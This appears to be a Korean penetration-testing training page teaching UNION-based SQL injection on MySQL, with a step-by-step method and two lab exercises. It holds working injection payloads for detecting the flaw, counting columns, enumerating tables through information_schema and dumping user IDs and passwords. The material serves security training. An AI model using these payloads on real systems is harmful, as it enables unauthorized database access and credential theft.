펜테스트짐
훈련을 통해 당신의 실력을 향상시켜보세요.
UNION 기반 SQL 인젝션
모두 32명의 회원님이 완료했어요.
실습 환경
실습을 하시려면 로그인이 필요합니다.
UNION 기반 SQL Injection이란?
Union 기반 SQL Injection은 웹 애플리케이션이 백엔드 데이터베이스로 질의한 SQL 쿼리의 결과가 HTTP 응답에 표시될 때 이 SQL 쿼리를 조작하여 데이터베이스 구조 및 데이터베이스에 저장된 민감한 데이터를 획득하기 위해 사용되는 기법입니다. 공격자는 개발자에 의해 작성된 원래의 SQL 쿼리가 어떤 행도 반환하지 않도록 하기 위해 SQL 쿼리로 입력되는 매개변수 값을 -1과 같이 데이터베이스에 없을 법한 값으로 조작하고, UNION 또는 UNION ALL을 이용해 원래의 SQL 쿼리에 민감한 데이터를 추출하는 SQL 쿼리를 덧붙힘으로써 공격을 할 수 있습니다.
UNION 기반 SQL Injection의 동작 원리
UNION 기반 SQL Injection은 이름에서 알 수 있듯이 SQL의 UNION 또는 UNION ALL을 이용합니다. UNION과 UNION ALL은 두 개의 SQL 쿼리 결과를 하나로 통합해주는 기능을 합니다.
다음은 MySQL 매뉴얼에 나온 UNION의 예입니다. 세번째 쿼리의 결과를 보시면 UNION을 이용해 첫번째와 두번째 쿼리의 결과를 하나의 테이블로 통합했음을 알 수 있습니다. UNION ALL도 사용법은 UNION과 동일합니다.
mysql> SELECT 1, 2;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
mysql> SELECT 'a', 'b';
+---+---+
| a | b |
+---+---+
| a | b |
+---+---+
mysql> SELECT 1, 2 UNION SELECT 'a', 'b';
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
| a | b |
+---+---+
사용시 유의해야 할 점은 UNION 또는 UNION ALL을 이용해 통합되는 두 개 이상의 SQL 쿼리는 다음의 조건을 만족해야 합니다.
조건 1.
통합되는 각 SQL 쿼리는 SELECT절에서 동일한 갯수의 컬럼을 사용해야 한다는 것입니다.
조건 2.
원래 SQL 쿼리의 SELECT절 컬럼의 자료형이 새로 삽입되는 쿼리의 SELECT절 컬럼의 자료형과 호환되어야 합니다.
따라서 UNION 기반 SQL Injection을 테스트할 때에도 위의 조건에 영향을 받게 되고 테스터(공격자)는 조건에 만족하는 공격 쿼리를 작성해야 합니다. UNION과 UNION ALL 둘 중에는 일반적으로 UNION ALL 사용이 권장되기도 합니다. UNION은 SQL 쿼리 통합시 중복된 레코드를 제거하고 유일 레코드로만 반환하는 반면 UNION ALL은 중복 제거없이 통합된 모든 레코드를 반환하는 차이가 있습니다. 이 차이로 인해 UNION을 사용해 테스트를 할 경우 중복 제거에 의해 의도한 데이터가 제대로 표시되지 않는 경우가 더러 발생하기도 합니다.
그럼 UNION ALL을 이용해 SQL Injection 공격이 어떻게 수행되는지 살펴봅시다.
PHP & MySQL 기반의 쇼핑몰 애플리케이션에 상품의 ID값을 매개변수로 하여 상품의 정보(상품ID, 상품명, 상품가격)를 조회하는 기능이 있다고 가정해봅시다. 데이터베이스에서 상품 정보를 조회하기 위한 SQL 쿼리는 다음과 같으며 이 SELECT절의 컬럼 중 item_name과 item_price 컬럼이 HTTP 응답에 표시된다고 가정합니다.
[1] SELECT item_id, item_name, item_price
[2] FROM item
[3] WHERE item_id = $_GET['item_id'];
http://www.example.com/getitem.php?item_id=-99+UNION+ALL+SELECT+1,version(),3--+
요청을 전달받은 웹 애플리케이션은 원래의 SQL 쿼리에 다음과 같이 GET 요청을 통해 전달받은 item_id 매개변수의 값이 주입됩니다.
[1] SELECT item_id, item_name, item_price
[2] FROM item
[3] WHERE item_id = -99 UNION ALL SELECT 1, version(), 3-- ;
위의 SQL 쿼리를 좀 더 보기 편하게 개행을 해봅시다.
[1] SELECT item_id, item_name, item_price
[2] FROM item
[3] WHERE item_id = -99
[4] UNION ALL
[5] SELECT 1, version(), 3-- ;
보시다시피 1~3번 라인의 SQL 쿼리와 5번 라인의 SQL 쿼리가 UNION ALL을 통해 통합되고 있습니다.
일반적으로는 상품ID가 음수인 경우는 없으므로(이 예제에서도 item 테이블에 item_id=-99인 상품이 없다고 가정) 1~3번 라인은 어떠한 레코드도 반환하지 않습니다. 따라서 최종적으로 5번 라인의 쿼리 결과가 HTTP 응답에 표시되게 됩니다. 공격자가 SQL 쿼리를 위와 같이 조작하게 되면 HTTP 응답에서 데이터베이스 버전을 확인할 수 있게 되는 것이죠. 즉, UNION 기반 SQL Injection은 개발자에 의해 작성된 원래의 SQL 쿼리에 공격자의 SQL 쿼리를 통합하고 원래의 SQL 쿼리를 무효화시킴으로써 결과적으로 공격자의 쿼리에서만 유효한 데이터를 표시하게 하는 것이죠.
더 나아가 위의 공격 구문을 응용하면 테이블명, 컬럼명, 테이블의 내부 데이터까지 획득할 수 있게 됩니다.
UNION 기반 SQL Injection 테스트 방법
이 섹션에서는 MySQL 데이터베이스 환경에서 UNION 기반 SQL Injection 취약점을 테스트하기 위한 프로세스를 다룹니다. DBMS별로 기본으로 제공되는 변수 및 함수나 시스템 테이블에 차이는 있지만 기본적으로 유사합니다.
Step 1. 데이터베이스와 통신하는 진입점(Endpoint) 식별
대상 웹 애플리케이션의 모든 기능을 사용해보고 데이터베이스와 통신하는 것으로 의심되는 모든 진입점과 매개변수를 찾아 수집합니다. 만일 웹 애플리케이션 내에 다양한 사용자 권한이나 역할이 존재하고 이에 따라 서비스가 차등적으로 제공된다면 각 권한과 역할에 대한 모든 조합별로 사용자 계정을 생성해 웹 애플리케이션을 사용해봅니다. 공격 벡터는 GET 매개변수, POST Body 매개변수, Cookie 등의 표준 요청 헤더나 커스텀 요청 헤더가 될 수 있습니다.
Step 2. 잠재적 취약 여부 검증
Step 1에서 수집한 진입점과 매개변수가 SQL Injection에 잠재적으로 취약한지 검사할 차례입니다. 잠재적으로 취약하다는 의미는 사용자의 입력값이 SQL 쿼리로 해석되어 백엔드의 데이터베이스와 통신한다는 것을 의미합니다. 매개변수의 값이 연결되는 데이터베이스 컬럼의 자료형이 문자열 타입인지, 숫자 타입인지에 따라 아래와 같은 방법으로 검증합니다. 아래 설명에 사용된 예는 의심되는 진입점이 GET 요청이라 가정합니다.
문자열 타입인 경우
매개변수의 값에 홑따옴표(')를 입력해서 제출해보고 HTTP 응답 메시지를 살펴봅니다. 예를 들면 아래와 같습니다.
?idx=1234'
위 요청의 응답 메시지에 데이터베이스 구문 오류 메시지가 발생하거나 정상적인 응답과 다른 응답을 반환한다면 테스트를 더 해볼 필요가 있습니다.
문자열 연결 연산자의 기능이 정상적으로 수행되는지 확인해봅니다. 아래와 같이 문자열 연결 연산자를 이용해 두 개의 파트로 나뉘어진 문자열로 요청을 해보고 만일 원래의 매개변수의 값(여기서는 idx=1234)으로 요청했을 때와 동일한 응답이 보여진다면 SQL Injection에 취약할 수 있습니다. 아래에서 %20은 공백문자, %2B는 더하기(+) 기호의 URL 인코딩된 문자입니다.
?idx=12'%20'34 (MySQL 또는 MariaDB)
?idx=12'%2B'34 (MSSQL)
?idx=12'||'34 (Oracle)
추가적으로 "AND 1=1", "AND 1=2"와 같은 논리 조건을 주입해봅니다. 등호(=) 기호는 URL 주소 체계에서 매개변수와 그 값을 구분하는 구분자로 사용되므로 주입할 논리 조건안에서는 URL 인코딩 값인 %3D를 사용해야 합니다.
?idx=1234'+AND+1%3D1--+ (참이 되는 조건 주입)
?idx=1234'+AND+1%3D2--+ (거짓이 되는 조건 주입)
첫번째 요청의 응답이 원래 요청과 동일하고, 두번째 요청에서 원래 요청과 다른 응답이 반환된다면 SQL Injection에 취약하다고 볼 수 있습니다.
숫자 타입인 경우
홑따옴표(')를 이용하여 숫자 타입을 처리하는 웹 애플리케이션의 경우에는 위의 홑따옴표를 이용한 방법이 가능하기도 하나 자료형을 엄격히 준수하여 개발된 웹 애플리케이션은 그렇지 않은 경우가 많습니다. 이런 경우에는 아래와 같은 방법으로 숫자 타입의 매개변수가 데이터베이스와 연동되는지 확인할 수 있습니다. 다음과 같은 요청이 있다고 가정합시다.
?idx=4
idx 매개변수에 아래와 같이 산술 연산자를 이용한 계산식을 이용합니다. 아래의 산술식 계산 결과는 모두 4이며, 위의 원래 요청(idx=4)과 응답이 동일하다면 SQL Injection에 취약할 수 있습니다. 마찬가지로 더하기(+) 기호는 %2B를 이용합니다.
?idx=5-1
?idx=3+1
?idx=53-ASCII(1) ---> ASCII(1)의 값은 49로 계산 결과는 4임
마찬가지로 논리 조건을 주입하여 응답의 차이점을 살펴봅니다.
?idx=4+AND+1%3D1--+ (참이 되는 조건 주입)
?idx=4+AND+1%3D2--+ (거짓이 되는 조건 주입)
Step 3. 컬럼 갯수 파악
ORDER BY절을 이용해 원래의 SQL 쿼리의 컬럼 갯수를 알아냅니다. ORDER BY절은 지정된 컬럼을 기준으로 오름차순(기본값) 또는 내림차순으로 테이블을 정렬하기 위한 구문이며, 아래와 같은 방법으로 사용할 수 있습니다.
- 컬럼 직접 지정
ORDER BY 컬럼명1, 컬럼명2, 컬럼명3
- SELECT절의 컬럼 순번 지정
ORDER BY 1, 2, 3
컬럼 갯수를 파악하기 위해서는 컬럼 순번에 의한 정렬 방법인 두번째 방법을 사용해야 합니다.
주입 지점이 원래 쿼리의 WHERE절에 사용된 문자열이라고 가정할 때, 아래와 같이 정렬 기준이 되는 컬럼의 순번을 순차적으로 증가시키며 요청을 제출해봅니다. 숫자 타입인 경우에는 홑따옴표를 제거하세요. 만일 어느 순간 데이터베이스 오류가 발생하거나 비정상적인 응답이 표시되고 바로 전의 순번은 정상적인 응답이 보여진다면 SELECT절의 컬럼 갯수는 오류가 발생하기 바로 전의 순번과 동일하다고 볼 수 있습니다.
?idx=1234'+ORDER+BY+1--+ (정상적인 응답)
?idx=1234'+ORDER+BY+2--+ (정상적인 응답)
?idx=1234'+ORDER+BY+3--+ (정상적인 응답) <--- 컬럼 갯수
?idx=1234'+ORDER+BY+4--+ (데이터베이스 오류 또는 비정상적 응답이 표시)
Step 4. HTTP 응답에 표시되는 컬럼 파악
Step 3에서 원래 쿼리의 컬럼 갯수를 알아냈고 이제 UNION ALL SELECT을 이용해 문자열 데이터를 표시할 수 있는 컬럼을 파악해야 합니다. 컬럼의 갯수가 3개인 경우 아래와 같이 차례대로 각 컬럼에 문자열을 사용해 요청을 제출해봅니다. 이 때 원래 쿼리에 의해 반환되는 레코드가 없도록 매개변수값을 설정해야 합니다.
?idx=임의의 문자열'+UNION+ALL+SELECT+'a',+NULL,+NULL--+
?idx=임의의 문자열'+UNION+ALL+SELECT+NULL,+'a',+NULL--+
?idx=임의의 문자열'+UNION+ALL+SELECT+NULL,+NULL,+'a'--+
...
만약 'a'가 사용된 컬럼과 매칭되는 원래 쿼리의 컬럼이 문자열과 호환되지 않는다면 자료형 변환 오류와 같은 데이터베이스 오류가 발생하게 되고 해당 컬럼은 활용할 수 없습니다. 데이터베이스 오류가 발생하지 않고 HTTP 응답에 'a' 문자가 표시되는 컬럼이 있다면 그 컬럼을 통해 공개되어서는 안될 정보를 추출할 수 있습니다.
좀 단순한 방법으로는 아래와 같이 결정된 컬럼의 갯수대로 일련 번호를 매기는 것입니다.
?idx=임의의 문자열'+UNION+ALL+SELECT+1,2,3--+
HTTP 응답에 출력되는 번호가 있다면 해당 컬럼을 활용하시면 됩니다.
Step 5. 데이터베이스 구조 파악
DBMS 내부적으로 제공되는 기본 변수나 함수, 시스템 테이블을 이용해 데이터베이스명, 테이블, 컬럼을 알아냅니다.
- 데이터베이스명
?idx=임의의 문자열'+UNION+ALL+SELECT+database(),2,3--+
- 테이블 추출
?idx=임의의 문자열'+UNION+ALL+SELECT+group_concat(table_name),2,3+FROM+information_schema.TABLES+WHERE+table_schema=database()--+
- 컬럼 추출
?idx=임의의 문자열'+UNION+ALL+SELECT+group_concat(column_name),2,3+FROM+information_schema.COLUMNS+WHERE+table_schema=database()+AND+table_name='테이블명'--+
Step 6. 데이터 추출
알아낸 데이터베이스명, 테이블, 컬럼 정보를 이용해 원하는 데이터를 획득합니다.
?idx=임의의 문자열'+UNION+ALL+SELECT+group_concat(concat(컬럼1,0x3a,컬럼2)),2,3+FROM+데이터베이스명.테이블명--+
실습 문제 풀이
UNION 기반 SQL Injection 공격을 실습하기 위한 기초적인 문제가 제공됩니다. 본 훈련의 상단에 있는 실습 환경을 생성하여 직접 시도해보시길 바랍니다.
Exercise 1
GET 요청으로 전달되는 "name" 매개변수가 WHERE절에 사용된 문자열 타입의 컬럼에 연결됩니다.
1. "name" 매개변수에 홑따옴표(')를 입력하고 제출하세요. "Something is wrong!" 이라는 오류 안내 메시지가 표시됩니다.
2. 다음의 조건을 추가하여 논리식이 적용되는지 확인하고 원래의 요청(name=Jet%20Black)과 비교하세요. 원래 요청의 응답과 비교하여 첫번째 요청은 동일하나 두번째 요청은 다르다면 잠재적인 SQL Injection 취약점이 존재함을 뜻합니다.
name=Jet%20Black%27+AND+1%3D1--+ (참이 되는 조건)
name=Jet%20Black%27+AND+1%3D2--+ (거짓이 되는 조건)
3. 컬럼의 갯수를 알아냅니다. 컬럼의 갯수는 다섯 개임을 확인합니다.
...생략...
name=Jet%20Black%27+ORDER+BY+5--+ (정상 응답)
name=Jet%20Black%27+ORDER+BY+6--+ (오류 발생)
4. HTTP 응답에 표시되어 공격에 활용할 수 있는 컬럼을 찾습니다. 1,2,3,4번 컬럼이 응답에 표시됩니다.
name=임의의 문자열%27+UNION+ALL+SELECT+1,2,3,4,5--+
5. 1~4번 컬럼을 이용해 데이터베이스명과 테이블, 컬럼을 파악합니다.
- 데이터베이스명 (mydb)
name=임의의 문자열'+UNION+ALL+SELECT+database(),2,3,4,5--+
- 테이블 추출 (users 테이블)
name=임의의 문자열'+UNION+ALL+SELECT+group_concat(table_name),2,3,4,5+FROM+information_schema.TABLES+WHERE+table_schema=database()--+
- 컬럼 추출 (user_id, password 등)
name=임의의 문자열'+UNION+ALL+SELECT+group_concat(column_name),2,3,4,5+FROM+information_schema.COLUMNS+WHERE+table_schema=database()+AND+table_name='users'--+
6. mydb.users 테이블에서 로그인 아이디(user_id)와 패스워드(password)를 열거하고 spike 계정의 패스워드를 확인합니다.
name=임의의 문자열'+UNION+ALL+SELECT+group_concat(concat(user_id,0x3a,password)),2,3,4,5+FROM+mydb.users--+
Exercise 2
GET 요청으로 전달되는 "emp_no" 매개변수는 WHERE절에 사용된 숫자 타입의 컬럼과 연결됩니다.
1. "emp_no" 매개변수에 홑따옴표(')를 입력하고 제출하세요. "Something is wrong!" 이라는 오류 안내 메시지가 표시됩니다.
2. 다음의 조건을 추가하여 논리식이 적용되는지 확인하고 원래의 요청(emp_no=3)과 비교하세요. 원래 요청의 응답과 비교하여 첫번째 요청은 동일하나 두번째 요청은 다르다면 잠재적인 SQL Injection 취약점이 존재함을 뜻합니다.
emp_no=3+AND+1%3D1--+ (참이 되는 조건)
emp_no=3+AND+1%3D2--+ (거짓이 되는 조건)
3. 컬럼의 갯수를 알아냅니다. 컬럼의 갯수는 다섯 개임을 확인합니다.
...생략...
emp_no=3+ORDER+BY+5--+ (정상 응답)
emp_no=3+ORDER+BY+6--+ (오류 발생)
4. HTTP 응답에 표시되어 공격에 활용할 수 있는 컬럼을 찾습니다. 1,2,3,4번 컬럼이 응답에 표시됩니다.
emp_no=-9999+UNION+ALL+SELECT+1,2,3,4,5--+
5. 1~4번 컬럼을 이용해 데이터베이스명과 테이블, 컬럼을 파악합니다.
- 데이터베이스명 (mydb)
emp_no=-9999+UNION+ALL+SELECT+database(),2,3,4,5--+
- 테이블 추출 (users 테이블)
emp_no=-9999+UNION+ALL+SELECT+group_concat(table_name),2,3,4,5+FROM+information_schema.TABLES+WHERE+table_schema=database()--+
- 컬럼 추출 (user_id, password 등)
emp_no=-9999+UNION+ALL+SELECT+group_concat(column_name),2,3,4,5+FROM+information_schema.COLUMNS+WHERE+table_schema=database()+AND+table_name='users'--+
6. mydb.users 테이블에서 로그인 아이디(user_id)와 패스워드(password)를 열거하고 spike 계정의 패스워드를 확인합니다.
emp_no=-9999+UNION+ALL+SELECT+group_concat(concat(user_id,0x3a,password)),2,3,4,5+FROM+mydb.users--+
참고 문헌